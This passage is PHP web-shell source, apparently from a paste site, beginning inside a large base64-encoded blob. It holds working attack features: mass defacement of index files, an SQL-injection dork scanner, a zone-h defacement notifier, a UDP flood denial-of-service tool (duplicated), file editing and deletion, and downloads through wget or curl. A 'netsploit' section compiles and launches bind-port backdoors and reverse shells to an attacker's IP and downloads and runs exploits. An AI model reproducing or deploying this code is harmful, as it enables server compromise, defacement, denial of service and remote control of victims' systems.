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')));?>
  1998.  
  1999.  
  2000. <?php
  2001. }
  2002. elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
  2003. {
  2004. ?>
  2005. <form action="?y=<?php echo $pwd; ?>&amp;x=mass" method="post">
  2006.  
  2007. <?php
  2008. {
  2009. error_reporting(0);?><table><td width="50%"><form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method=post><p align="center"><h2>Folder</h2><input class ='inputz' typ=text name=path size=60 value="<?php echo getcwd();?>"><br><h2>file name</h2><input class ='inputz' typ=text name=file size=60 value="index.php"><br></td><td width="50%"><h3>Your Deface Code </h3><textarea class ='inputz' name=index rows=10 cols=40>hacked By BlacKLeeT</textarea><br></td></p></table><center><br><br><br><input class='inputzbut' type=submit value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form><br><?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}
  2010. }
  2011. ?>
  2012.  
  2013. <?php
  2014. }
  2015. elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
  2016. {
  2017. ?>
  2018. <form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">
  2019.  
  2020. <?php
  2021.  
  2022. echo '<br><br><center><form method="post" action=""><font color="red">Dork :</font> <input type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>';
  2023.  
  2024. ob_start();
  2025. set_time_limit(0);
  2026.  
  2027. if (isset($_POST['scan'])) {
  2028.  
  2029. $browser = $_SERVER['HTTP_USER_AGENT'];
  2030.  
  2031. $first = "startgoogle.startpagina.nl/index.php?q=";
  2032. $sec = "&start=";
  2033. $reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
  2034.  
  2035. for($id=0 ; $id<=30; $id++){
  2036. $page=$id*10;
  2037. $dork=urlencode($_POST['dork']);
  2038. $url = $first.$dork.$sec.$page;
  2039.  
  2040. $curl = curl_init($url);
  2041. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  2042. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  2043. $result = curl_exec($curl);
  2044. curl_close($curl);
  2045.  
  2046. preg_match_all($reg,$result,$matches);
  2047. }
  2048. foreach($matches[1] as $site){
  2049.  
  2050. $url = preg_replace("/=/", "='", $site);
  2051. $curl=curl_init();
  2052. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  2053. curl_setopt($curl,CURLOPT_URL,$url);
  2054. curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
  2055. curl_setopt($curl,CURLOPT_TIMEOUT,'5');
  2056. $GET=curl_exec($curl);
  2057. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT *
  2058.  
  2059. FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
  2060. echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> &#60;-- SQLI Vuln
  2061.  
  2062. Found..</font></b></center>';
  2063. ob_flush();flush();
  2064. }else{
  2065. echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>';
  2066. ob_flush();flush();
  2067. }
  2068.  
  2069. ob_flush();flush();
  2070. }
  2071. ob_flush();flush();
  2072. }
  2073. ob_flush();flush();
  2074. }
  2075.  
  2076. elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){ ?>
  2077. <form action="?y=<?php echo $pwd; ?>&amp;x=zone-h" method="post">
  2078. <br><br><? echo '<p style="text-align: center;"> <img alt="" src="http://www.zone-h.org/images/logo.gif" style="width: 261px; height: 67px;" /></p>
  2079. <center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="LeeTBoY" /><br> <select class="inputz" name="hackmode">
  2080. <option>------------------------------------SELECT-------------------------------------</option>
  2081. <option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
  2082. <option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
  2083. <option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
  2084. <option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
  2085. <option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
  2086. <option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
  2087. <option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
  2088. <option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
  2089. <option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
  2090. <option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
  2091. <option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
  2092. <option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
  2093. <option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
  2094. <option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
  2095. <option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
  2096. <option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
  2097. <option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
  2098. <option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
  2099. <option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
  2100. <option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
  2101. <option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
  2102. <option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
  2103. <option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
  2104. <option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
  2105. <option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
  2106. <option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
  2107. <option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
  2108. <option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
  2109.  
  2110. <option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
  2111. <option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
  2112. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  2113. </select> <br>
  2114.  
  2115. <select class="inputz" name="reason">
  2116. <option >------------------------------------SELECT-------------------------------------</option>
  2117. <option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
  2118. <option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
  2119. <option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
  2120. <option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
  2121. <option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
  2122. <option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
  2123. <option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
  2124. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  2125. </select> <br>
  2126. <textarea class="inputz" name="domain" cols="90" rows="20">List Of Domains, 20 Rows.</textarea><br>
  2127. <input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
  2128. </form>'; ?>
  2129. <?
  2130. echo "</form></center>";?>
  2131. <?
  2132. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  2133. {
  2134. $k = curl_init();
  2135. curl_setopt($k, CURLOPT_URL, $url);
  2136. curl_setopt($k,CURLOPT_POST,true);
  2137. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  2138. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  2139. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  2140. $kubra = curl_exec($k);
  2141. curl_close($k);
  2142. return $kubra;
  2143. }
  2144. {
  2145. ob_start();
  2146. $sub = @get_loaded_extensions();
  2147. if(!in_array("curl", $sub))
  2148. {
  2149. die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
  2150. }
  2151.  
  2152. $hacker = $_POST['defacer'];
  2153. $method = $_POST['hackmode'];
  2154. $neden = $_POST['reason'];
  2155. $site = $_POST['domain'];
  2156.  
  2157. if (empty($hacker))
  2158. {
  2159. die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
  2160. }
  2161. elseif($method == "--------SELECT--------")
  2162. {
  2163. die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
  2164. }
  2165. elseif($neden == "--------SELECT--------")
  2166. {
  2167. die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
  2168. }
  2169. elseif(empty($site))
  2170. {
  2171. die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
  2172. }
  2173. $i = 0;
  2174. $sites = explode("
  2175. ", $site);
  2176. while($i < count($sites))
  2177. {
  2178. if(substr($sites[$i], 0, 4) != "http")
  2179. {
  2180. $sites[$i] = "http://".$sites[$i];
  2181. }
  2182. ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
  2183. echo "Domain : ".$sites[$i]." Defaced Last Years !";
  2184. ++$i;
  2185. }
  2186. echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]";
  2187. }
  2188. ?>
  2189. <?php }
  2190.  
  2191. elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
  2192. {
  2193. ?>
  2194. <form action="?y=<?php echo $pwd; ?>&amp;x=dos" method="post">
  2195. <?php
  2196.  
  2197. //UDP
  2198. if(isset($_GET['host'])&&isset($_GET['time']))
  2199. {
  2200. $packets = 0;
  2201. ignore_user_abort(TRUE);
  2202. set_time_limit(0);
  2203.  
  2204. $exec_time = $_GET['time'];
  2205.  
  2206. $time = time();
  2207. //print "Started: ".time('d-m-y h:i:s')."<br>";
  2208. $max_time = $time+$exec_time;
  2209.  
  2210. $host = $_GET['host'];
  2211.  
  2212. for($i=0;$i<65000;$i++){
  2213. $out .= 'X';
  2214. }
  2215.  
  2216. while(1){
  2217. $packets++;
  2218. if(time() > $max_time){ break; }
  2219. $rand = rand(1,65000);
  2220. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  2221. if($fp){
  2222. fwrite($fp, $out);
  2223. fclose($fp);
  2224. }
  2225. }
  2226.  
  2227. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second
  2228. ";
  2229. echo '<br><br>
  2230. <form action="'.$surl.'" method=GET>
  2231. <input type="hidden" name="act" value="phptools">
  2232. Host: <br><input type=text name=host><br>
  2233. Length (seconds): <br><input type=text name=time><br>
  2234. <input type=submit value=Go>
  2235. </form>';
  2236. }
  2237. else
  2238. {
  2239. echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
  2240. <table class="tabnet" style="width:300px;">
  2241. <tr>
  2242. <th colspan="2">UDP Flood</th>
  2243. </tr>
  2244. <tr>
  2245. <td>&nbsp;&nbsp;Host</td>
  2246. <td><input style="width:220px;" class="inputz" type=text name=host value=></td>
  2247. </tr>
  2248. <tr>
  2249. <td>&nbsp;&nbsp;Length (seconds)</td>
  2250. <td><input style="width:220px;" class="inputz" type=text name=time value=></td>
  2251. </tr>
  2252. <tr>
  2253. <td><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td>
  2254. </tr>
  2255. </table>
  2256. </center>';
  2257. }
  2258. }
  2259.  
  2260. elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
  2261. {
  2262. ?>
  2263. <form action="?y=<?php echo $pwd; ?>&amp;x=dos" method="post">
  2264. <?php
  2265.  
  2266. //UDP
  2267. if(isset($_GET['host'])&&isset($_GET['time']))
  2268. {
  2269. $packets = 0;
  2270. ignore_user_abort(TRUE);
  2271. set_time_limit(0);
  2272.  
  2273. $exec_time = $_GET['time'];
  2274.  
  2275. $time = time();
  2276. //print "Started: ".time('d-m-y h:i:s')."<br>";
  2277. $max_time = $time+$exec_time;
  2278.  
  2279. $host = $_GET['host'];
  2280.  
  2281. for($i=0;$i<65000;$i++){
  2282. $out .= 'X';
  2283. }
  2284.  
  2285. while(1){
  2286. $packets++;
  2287. if(time() > $max_time){ break; }
  2288. $rand = rand(1,65000);
  2289. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  2290. if($fp){
  2291. fwrite($fp, $out);
  2292. fclose($fp);
  2293. }
  2294. }
  2295.  
  2296. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second
  2297. ";
  2298. echo '<br><br>
  2299. <form action="'.$surl.'" method=GET>
  2300. <input type="hidden" name="act" value="phptools">
  2301. Host: <br><input type=text name=host><br>
  2302. Length (seconds): <br><input type=text name=time><br>
  2303. <input type=submit value=Go>
  2304. </form>';
  2305. }
  2306. else
  2307. {
  2308. echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
  2309. <table class="tabnet" style="width:300px;">
  2310. <tr>
  2311. <th colspan="2">UDP Flood</th>
  2312. </tr>
  2313. <tr>
  2314. <td>&nbsp;&nbsp;Host</td>
  2315. <td><input style="width:220px;" class="inputz" type=text name=host value=></td>
  2316. </tr>
  2317. <tr>
  2318. <td>&nbsp;&nbsp;Length (seconds)</td>
  2319. <td><input style="width:220px;" class="inputz" type=text name=time value=></td>
  2320. </tr>
  2321. <tr>
  2322. <td><input style="width:100%;" class="inputzbut" type="submit" value="Go" /></td>
  2323. </tr>
  2324. </table>
  2325. </center>';
  2326. }
  2327. }
  2328.  
  2329.  
  2330. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo'))
  2331. {
  2332. @ob_start();
  2333. eval("phpinfo();");
  2334. $buff = @ob_get_contents();
  2335. @ob_end_clean();
  2336. $awal = strpos($buff,"<body>")+6;
  2337. $akhir = strpos($buff,"</body>");
  2338. echo "<div class="phpinfo">".substr($buff,$awal,$akhir-$awal)."</div>";
  2339. }
  2340.  
  2341. elseif(isset($_GET['view']) && ($_GET['view'] != ""))
  2342. {
  2343. if(is_file($_GET['view']))
  2344. {
  2345. if(!isset($file)) $file = magicboom($_GET['view']);
  2346. if(!$win && $posix)
  2347. {
  2348. $name=@posix_getpwuid(@fileowner($file));
  2349. $group=@posix_getgrgid(@filegroup($file));
  2350. $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
  2351. }
  2352. else { $owner = $user; }
  2353. $filn = basename($file);
  2354. echo "<table style="margin:6px 0 0 2px;line-height:20px;">
  2355. <tr>
  2356. <td>Filename</td>
  2357. <td>
  2358. <span id="".clearspace($filn)."_link">".$file."</span>
  2359. <form action="?y=".$pwd."&amp;view=$file" method="post" id="".clearspace($filn)."_form" class="sembunyi" style="margin:0;padding:0;">
  2360. <input type="hidden" name="oldname" value="".$filn."" style="margin:0;padding:0;" />
  2361. <input class="inputz" style="width:200px;" type="text" name="newname" value="".$filn."" />
  2362. <input class="inputzbut" type="submit" name="rename" value="rename" />
  2363. <input class="inputzbut" type="submit" name="cancel" value="cancel"
  2364. onclick="tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');" />
  2365. </form>
  2366. </td>
  2367. </tr>
  2368. <tr>
  2369. <td>Size</td>
  2370. <td>".ukuran($file)."</td>
  2371. </tr>
  2372. <tr>
  2373. <td>Permission</td>
  2374. <td>".get_perms($file)."</td>
  2375. </tr>
  2376. <tr>
  2377. <td>Owner</td>
  2378. <td>".$owner."</td>
  2379. </tr>
  2380. <tr>
  2381. <td>Create time</td>
  2382. <td>".date("d-M-Y H:i",@filectime($file))."</td>
  2383. </tr>
  2384. <tr>
  2385. <td>Last modified</td>
  2386. <td>".date("d-M-Y H:i",@filemtime($file))."</td>
  2387. </tr>
  2388. <tr>
  2389. <td>Last accessed</td>
  2390. <td>".date("d-M-Y H:i",@fileatime($file))."</td>
  2391. </tr>
  2392. <tr>
  2393. <td>Actions</td>
  2394. <td><a href="?y=$pwd&amp;edit=$file">edit</a>
  2395. | <a href="javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');">rename</a>
  2396. | <a href="?y=$pwd&amp;delete=$file">delete</a>
  2397. | <a href="?y=$pwd&amp;dl=$file">download</a>&nbsp;(<a href="?y=$pwd&amp;dlgzip=$file">gz</a>)
  2398. </td>
  2399. </tr>
  2400. <tr>
  2401. <td>View</td>
  2402. <td><a href="?y=".$pwd."&amp;view=".$file."">text</a>
  2403. | <a href="?y=".$pwd."&amp;view=".$file."&amp;type=code">code</a>
  2404. | <a href="?y=".$pwd."&amp;view=".$file."&amp;type=image">img</a>
  2405. </td>
  2406. </tr>
  2407. </table> ";
  2408. if(isset($_GET['type']) && ($_GET['type']=='image'))
  2409. { echo "<div style="text-align:center;margin:8px;"><img src="?y=".$pwd."&amp;img=".$filn.""></div>"; }
  2410. elseif(isset($_GET['type']) && ($_GET['type']=='code'))
  2411. { echo "<div class="viewfile">"; $file = wordwrap(@file_get_contents($file),"240","
  2412. "); @highlight_string($file); echo "</div>"; }
  2413. else { echo "<div class="viewfile">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; }
  2414. }
  2415. elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); }
  2416. }
  2417.  
  2418. elseif(isset($_GET['edit']) && ($_GET['edit'] != ""))
  2419. {
  2420. if(isset($_POST['save']))
  2421. {
  2422. $file = $_POST['saveas'];
  2423. $content = magicboom($_POST['content']);
  2424. if($filez = @fopen($file,"w"))
  2425. {
  2426. $time = date("d-M-Y H:i",time());
  2427. if(@fwrite($filez,$content)) $msg = "file saved <span class="gaya">@</span> ".$time;
  2428. else $msg = "failed to save"; @fclose($filez);
  2429. }
  2430. else $msg = "permission denied";
  2431. }
  2432. if(!isset($file)) $file = $_GET['edit'];
  2433. if($filez = @fopen($file,"r"))
  2434. {
  2435. $content = "";
  2436. while(!feof($filez))
  2437. {
  2438. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  2439. }
  2440. @fclose($filez);
  2441. } ?>
  2442. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  2443. <table class="cmdbox">
  2444. <tr>
  2445. <td colspan="2">
  2446. <textarea class="output" name="content"> <?php echo $content; ?> </textarea>
  2447. </td>
  2448. <tr>
  2449. <td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
  2450. <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?>
  2451. </td>
  2452. </tr>
  2453. </table>
  2454. </form>
  2455. <?php
  2456. }
  2457.  
  2458. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload'))
  2459. {
  2460. if(isset($_POST['uploadcomp']))
  2461. {
  2462. if(is_uploaded_file($_FILES['file']['tmp_name']))
  2463. {
  2464. $path = magicboom($_POST['path']);
  2465. $fname = $_FILES['file']['name'];
  2466. $tmp_name = $_FILES['file']['tmp_name'];
  2467. $pindah = $path.$fname;
  2468. $stat = @move_uploaded_file($tmp_name,$pindah);
  2469. if ($stat) { $msg = "file uploaded to $pindah"; }
  2470. else $msg = "failed to upload $fname";
  2471. }
  2472. else $msg = "failed to upload $fname";
  2473. }
  2474. elseif(isset($_POST['uploadurl']))
  2475. {
  2476. $pilihan = trim($_POST['pilihan']);
  2477. $wurl = trim($_POST['wurl']);
  2478. $path = magicboom($_POST['path']);
  2479. $namafile = download($pilihan,$wurl);
  2480. $pindah = $path.$namafile;
  2481. if(is_file($pindah)) { $msg = "file uploaded to DIR $pindah"; }
  2482. else $msg = "failed ! to upload $namafile"; }
  2483. ?>
  2484. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  2485. <table class="tabnet" style="width:320px;padding:0 1px;">
  2486. <tr>
  2487. <th colspan="2">Upload from computer</th>
  2488. </tr>
  2489. <tr>
  2490. <td colspan="2">
  2491. <p style="text-align:center;">
  2492. <input style="color:#000000;" type="file" name="file" />
  2493. <input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:80px;">
  2494. </p>
  2495. </td>
  2496. </tr>
  2497. <tr>
  2498. <td colspan="2">
  2499. <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" />
  2500. </td>
  2501. </tr>
  2502. </table>
  2503. </form>
  2504. <table class="tabnet" style="width:320px;padding:0 1px;">
  2505. <tr>
  2506. <th colspan="2">Upload from url</th>
  2507. </tr>
  2508. <tr>
  2509. <td colspan="2">
  2510. <form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  2511. <table>
  2512. <tr>
  2513. <td>url</td>
  2514. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
  2515. </tr>
  2516. <tr>
  2517. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td>
  2518. </tr>
  2519. <tr>
  2520. <td>
  2521. <select size="1" class="inputz" name="pilihan">
  2522. <option value="wwget">wget</option>
  2523. <option value="wlynx">lynx</option>
  2524. <option value="wfread">fread</option>
  2525. <option value="wfetch">fetch</option>
  2526. <option value="wlinks">links</option>
  2527. <option value="wget">GET</option>
  2528. <option value="wcurl">curl</option>
  2529. </select>
  2530. </td>
  2531. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td>
  2532. </tr>
  2533. </table>
  2534. </form>
  2535. </td>
  2536. </tr>
  2537. </table>
  2538. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  2539. <?php }
  2540.  
  2541. elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit'))
  2542. {
  2543. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
  2544. {
  2545. $port = trim($_POST['port']);
  2546. $passwrd = trim($_POST['bind_pass']);
  2547. tulis("bdc.c",$port_bind_bd_c);
  2548. exe("gcc -o bdc bdc.c");
  2549. exe("chmod 777 bdc");
  2550. @unlink("bdc.c");
  2551. exe("./bdc ".$port." ".$passwrd." &");
  2552. $scan = exe("ps aux");
  2553. if(eregi("./bdc $por",$scan))
  2554. {
  2555. $msg = "<p>Process found running, backdoor setup successfully.</p>";
  2556. }
  2557. else
  2558. {
  2559. $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
  2560. }
  2561. }
  2562. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
  2563. {
  2564. $port = trim($_POST['port']);
  2565. $passwrd = trim($_POST['bind_pass']);
  2566. tulis("bdp",$port_bind_bd_pl);
  2567. exe("chmod 777 bdp");
  2568. $p2=which("perl");
  2569. exe($p2." bdp ".$port." &");
  2570. $scan = exe("ps aux");
  2571. if(eregi("$p2 bdp $port",$scan))
  2572. { $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  2573. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } }
  2574. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
  2575. {
  2576. $ip = trim($_POST['ip']);
  2577. $port = trim($_POST['backport']);
  2578. tulis("bcc.c",$back_connect_c);
  2579. exe("gcc -o bcc bcc.c");
  2580. exe("chmod 777 bcc");
  2581. @unlink("bcc.c");
  2582. exe("./bcc ".$ip." ".$port." &");
  2583. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  2584. }
  2585. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
  2586. {
  2587. $ip = trim($_POST['ip']);
  2588. $port = trim($_POST['backport']);
  2589. tulis("bcp",$back_connect);
  2590. exe("chmod +x bcp");
  2591. $p2=which("perl");
  2592. exe($p2." bcp ".$ip." ".$port." &");
  2593. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  2594. }
  2595. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
  2596. {
  2597. $pilihan = trim($_POST['pilihan']);
  2598. $wurl = trim($_POST['wurl']);
  2599. $namafile = download($pilihan,$wurl);
  2600. if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; }
  2601. ?>
  2602. <table class="tabnet">
  2603. <tr>
  2604. <th>Port Binding</th>
  2605. <th>Connect Back</th>
  2606. <th>Load and Exploit</th>
  2607. </tr>
  2608. <tr>
  2609. <td>
  2610. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  2611. <table>
  2612. <tr>
  2613. <td>Port</td>
  2614. <td>
